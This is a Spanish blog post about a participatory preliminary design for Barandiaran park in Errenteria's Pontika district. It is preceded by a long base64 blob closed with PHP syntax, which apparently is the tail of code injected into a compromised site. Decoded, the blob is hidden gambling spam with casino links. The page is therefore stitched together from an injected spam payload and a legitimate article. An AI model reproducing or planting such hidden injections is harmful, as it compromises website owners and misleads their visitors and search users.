IGxvcyBqdWVnb3MgZGUgY2FzaW5vIGRlIE5ldEVudC4gUHVlZGUgcmV0aXJhciB1dGlsaXphbmRvIGVsIG1pc21vIG3DqXRvZG8gY29uIGVsIHF1ZSBkZXBvc2l0w7MsIGRlZmluaXRpdmFtZW50ZSBlc3RhcsOtYSBidXNjYW5kbyB1biBjYXNpbm8gZW4gbMOtbmVhIHF1ZSBvZnJlemNhIGp1ZWdvcyBkZSBOZXRFbnQuIDwvcD4KCjxoMz5NZW50YWxpZGFkIGRlbCBqdWdhZG9yIGRlIHBva2VyIHBkZi48L2gzPgoKPHA+TG9zIGF6dGVjYXMgYWRvcmFiYW4gYSBtdWNob3MgZGlvc2VzIHF1ZSBlcmFuIHJlc3BvbnNhYmxlcyBkZSBjYWRhIGVsZW1lbnRvIOKAkyBkZSBsYXMgZXN0cmVsbGFzIHkgZGUgbG9zIHBsYW5ldGFzLCBjdWFuZG8gc2UgdHJhdGEgZGUgdGFyamV0YXMgZGUgY3LDqWRpdG8uIFRpZW5lIHVuYSBncmFuIHNlbGVjY2nDs24gZGUganVlZ29zIGRlIHRyYWdhbW9uZWRhcywgPGEgaHJlZj0iaHR0cHM6Ly9wcm9qZWt0YS5lcy8lQ0YlODMlQ0YlODUlQ0YlODMlQ0YlODQlQ0UlQjclQ0UlQkMlQ0UlQjElQ0YlODQlQ0UlQjEtJUNFJUI5JUNFJUJEJUNGJTg0JUNFJUI1JUNGJTgxJUNFJUJEJUNFJUI1JUNGJTg0JUNFJUI5JUNFJUJBJUNFJUIxLSVDRiU4MSVDRSVCRiVDRiU4NSVDRSVCQiVDRSVBRCVDRiU4NCVDRSVCMS0lQ0UlQjMlQ0UlQjklQ0UlQjEtJUNFJUJBJUNFJUI5JUNFJS8iPiVDRiU4MyVDRiU4NSVDRiU4MyVDRiU4NCVDRSVCNyVDRSVCQyVDRSVCMSVDRiU4NCVDRSVCMSAlQ0UlQjklQ0UlQkQlQ0YlODQlQ0UlQjUlQ0YlODElQ0UlQkQlQ0UlQjUlQ0YlODQlQ0UlQjklQ0UlQkElQ0UlQjEgJUNGJTgxJUNFJUJGJUNGJTg1JUNFJUJCJUNFJUFEJUNGJTg0JUNFJUIxICVDRSVCMyVDRSVCOSVDRSVCMSAlQ0UlQkElQ0UlQjklQ0UlPC9hPiBzZSBsZSBwZXJtaXRlIGNvbXByYXIgYWxnbyBpbmNsdXNvIHNpIG5vIHRpZW5lIGVsIGRpbmVybyBlbGVjdHLDs25pY28gbmVjZXNhcmlvIHBhcmEgY29tcHJhcmxvLiBPIGNhbWluZSBwb3IgZWwgcGFycXVlIG5hY2lvbmFsIGNvbiB1biBndcOtYSBwYXJhIGhhY2VyIHRpcm9sZXNhLCBzaSBubyB2aXZlcyBjZXJjYSBkZSB1bmEgcGlzdGEuIE9idGVuZ2EgaGVycmFtaWVudGFzIHF1ZSBsbyBheXVkZW4gYSBoYWJsYXIgc29icmUgcHLDoWN0aWNhcyBkZSBqdWVnbyByZXNwb25zYWJsZXMsIG5vIGVzdMOhcyBlbiBsYSBjYXNldGEgZGVsIHBlcnJvLiBFc3RhcyBww6FnaW5hcyBzb24gbGEgc2FsdmEgZGUgYXBlcnR1cmEgZW4gbWkgYmF0YWxsYSBwYXJhIGNyZWFyIGxhIG1lam9yIGd1w61hIHByw6FjdGljYSBwYXJhIGxvcyBudWV2b3MganVnYWRvcmVzIGRlIG3DoXF1aW5hcyB0cmFnYW1vbmVkYXMsIDxhIGhyZWY9Imh0dHBzOi8vcHJvamVrdGEuZXMvYmxhY2tqYWNrLWVuLWwlQzMlQURuZWEtcGFnby1hbHRvLyI+YmxhY2tqYWNrIGVuIGwlQzMlQURuZWEgcGFnbyBhbHRvPC9hPiBwb3IgbG8gdGFudG8uIENsYXJvLCBvZnJlY2Vtb3MgdW5hIGV4cGVyaWVuY2lhIGRlIGp1ZWdvIHLDoXBpZGEgeSBzaW4gZXN0csOpcy4gU2kgc3UgYXB1ZXN0YSBnYW5hLCB5YSBzZWFuIGp1ZWdvcyBkZSBtZXNhLiBJbmNsdXNvIHRpZW5lbiBhcGxpY2FjaW9uZXMgZmFsc2FzIHF1ZSB0ZSBhdHJhZW4gYSBqdWdhciBhbGzDrSBwcm9tZXRpZW5kbyBncmFuZGVzIGdhbmFuY2lhcywgPGEgaHJlZj0iaHR0cHM6Ly9wcm9qZWt0YS5lcy9yb2RhLWEtbWVsaG9yLWJsYWNramFjay1vbmxpbmUtam9nby8iPnJvZGEgYSBtZWxob3IgYmxhY2tqYWNrIG9ubGluZSBqb2dvPC9hPiB0cmFnYW1vbmVkYXMuIExhIGFwbGljYWNpw7NuIHNlIHB1ZWRlIGRlc2NhcmdhciBkZSBmb3JtYSBncmF0dWl0YSwgbG90ZXLDrWEgbyBiaW5nby4gPC9wPgoKPHA+VGFtYmnDqW4gaGF5IHVuIHNlZ3VuZG8gYm9ubyDigJMgcmVjaWJlIHVuIDUwJSBkZSBzdSBzZWd1bmRvIGRlcMOzc2l0byBlbiBmb3JtYSBkZSBib25pZmljYWNpw7NuIGVuIGVmZWN0aXZvLCA8YSBocmVmPSJodHRwczovL3Byb2pla3RhLmVzL2xvcy1tZWpvcmVzLWp1ZWdvcy1kZS1wb2tlci1wYXJhLXBjLyI+bG9zIG1lam9yZXMganVlZ29zIGRlIHBva2VyIHBhcmEgcGM8L2E+IERvZ2Vjb2luLiBMaXZlIGNhc2lubyBIb2xkZW0gb2ZyZWNlIHRvZGEgZXN0YSBlbW9jacOzbiBhIHRyYXbDqXMgZGUgdW4gZW5sYWNlIGRlIHZpZGVvIGVuIHRpZW1wbyByZWFsLCBzZSBpbnNwaXLDsyBlbiB1biBkaXZlcnRpZG8gbWVtZSBkZSBJbnRlcm5ldCB5LiBTaSBlbCBjcnVwaWVyIHRpZW5lIHVuYSBjYXJ0YSBiYWphLCBlbiBsb3Mgw7psdGltb3MgdGllbXBvcy4gPC9wPgoKCjwvZGl2Pgo8P3BocCBlbmRpZjs/Pg=='));

El año pasado recibimos el encargo del Ayuntamiento de Errenteria de redactar el anteproyecto del parque Barandiaran, situado en el barrio de Pontika. Ha sido un reto para nosotras intentar convertir en proyecto lo que normalmente trabajamos sólo a nivel teórico y hemos aprendido mucho en el proceso. Nos han acompañado Inhar Agirrezabal y Garbiñe Pedroso de ARI Arkitektura, asesorándonos sobre todo en temas medioambientales, y Argi Yeregi, transformado en imágenes las ideas de proyecto.

La diversidad, la sostenibilidad, los cuidados y el bienestar como ejes

Al inicio del proceso se acordaron los objetivos y criterios junto con representantes del ayuntamiento y de la asociación de vecinos del barrio, en torno a cuatro ejes: diversidad, sostenibilidad, cuidados y salud.

La participación como herramienta

Se realizaron cuatro sesiones participativas entre julio y diciembre con los representantes de la Asociación para dar a conocer el diseño paso a paso y recoger las aportaciones. Finalmente, se mostró públicamente el anteproyecto, instalando los paneles en el propio barrio.

Es el parque de Pontika, pero también de toda Errenteria. Por ello, la ciudadanía tuvo la oportunidad de conocer el anteproyecto y de realizar sus aportaciones desde la web del ayuntamiento (errenteria.eus/barandiaran-parkea), donde podéis encontrar también los paneles que preparamos para explicar el proyecto.

El parque, hasta la plaza de Pontika

Uno de los principales objetivos ha sido el de unir la plaza de Pontika de forma accesible con el parque, mediante pavimentos permeables, alineándonos así con el objetivo de la sostenibilidad. Se propone un jardín comunitario, para intentar crear vínculos no solo físicos sino también de carácter social.

Opciones diversas, para todas las personas

La regata al aire libre se convierte en la protagonista del parque, condicionando su estructura, aunque no se prevé un caudal importante. Aparecerá y se ocultará entre las rocas y en su trayecto tendrá tres naturalezas: entre piedras, en forma de «raingarden» y en forma de pantano. Cada zona tendrá una vegetación diferenciada.

Actividad física y descanso lúdicos

Las pendientes del parque se han aprovechado para el juego y la promoción de la actividad física. Desde el punto de vista de la edad, se ha pretendido escalonar los espacios lúdicos en base a la cercanía o lejanía a la plaza: los espacios para los más pequeños se han puesto más cerca de la plaza y se les han ofrecido alternativas más alejadas, a medida que crecen.

Sostenible, renaturalizado

También se propone que el bosque del pantano sea lúdico: se propone la instalación de plataformas elevadas de madera con puentes de cuerda. Se espera que este espacio -aunque no al mismo tiempo- satisfaga los ánimos de una amplia franja de edad.

El parque, punto de encuentro para todas las personas

El Parque también se ha trabajado en el anteproyecto como un recurso de descanso y convivencia, y en cada zona se han propuesto numerosos puntos de encuentro adaptados a las diferentes condiciones.

En las sesiones celebradas con los representantes de la Asociación del barrio, se comentó que el parque debía contribuir a la conservación de la memoria del lugar. Se propuso la colocación de una escultura que represente a un hombre y una mujer trabajadora. De hecho, se crearon numerosas parejas y familias entre hombres y mujeres que se conocieron trabajando en la fábrica que ocupaba el parque.

Nos gustaría agradecer a todas las personas que habéis formado parte del proceso por habernos facilitado tanto el trabajo, especialmente a Guillermo y Juan Mari de la Asociación de vecinos de Pontika, por vuestra paciencia y buen talante.

Anteproyecto del Parque Barandiaran en Errenteria

Deja un comentario

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.